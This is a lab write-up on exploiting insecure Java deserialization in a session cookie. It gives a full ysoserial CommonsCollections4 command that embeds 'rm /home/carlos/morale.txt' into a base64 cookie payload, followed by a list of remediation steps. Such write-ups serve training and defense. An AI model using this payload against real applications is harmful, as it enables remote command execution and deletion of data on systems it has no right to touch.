SCENARIO

The application a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. We will try to create and inject a malicious serialized object to exploit this vulnerability and use it to delete the morale.txt file.

**PROCEDURE**

1. Go the application and login using the given credentials to act as an user.
2. Navigate to the **My Account** page and inspect the session cookie because it contains a serialized Java object.
3. Download a tool named **ysoserial** from GitHub and paste the Payload in the linux terminal being in the tool’s directory and it will generate a serialized cookie for us to use.
4. So, we inject the cookie value into the session parameter and send the request, even though we get an error but the lab is solved.
5. Now we deleted the file successfully without interacting with the system directly.

**PAYLOAD**

java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0 > cookieToUse.txt

**REMEDIATION**

1. **Safe Deserialization:** Ensure that you're using libraries or frameworks that offer safe deserialization. If possible, switch to data formats that don't support the serialization and deserialization of arbitrary classes, such as JSON.
2. **Validation and Whitelisting:** Use a whitelisting approach for serialized objects to control which classes can be deserialized. This prevents attackers from instantiating arbitrary classes.
3. **Classpath Restrictions:** Minimize your classpath and libraries. Many Java deserialization attacks leverage vulnerable classes that are on the default classpath. By limiting this, you reduce the potential attack surface.
4. **Monitoring and Logging:** Have proper monitoring and logging in place for deserialization exceptions and errors. Unexpected deserialization failures could be indicative of an attack attempt and should be flagged and investigated.
5. **Avoid Storing Sensitive Information:** Ensure that serialized objects do not carry sensitive or unnecessary data. An attacker who can view serialized objects might be able to reverse-engineer or extract data.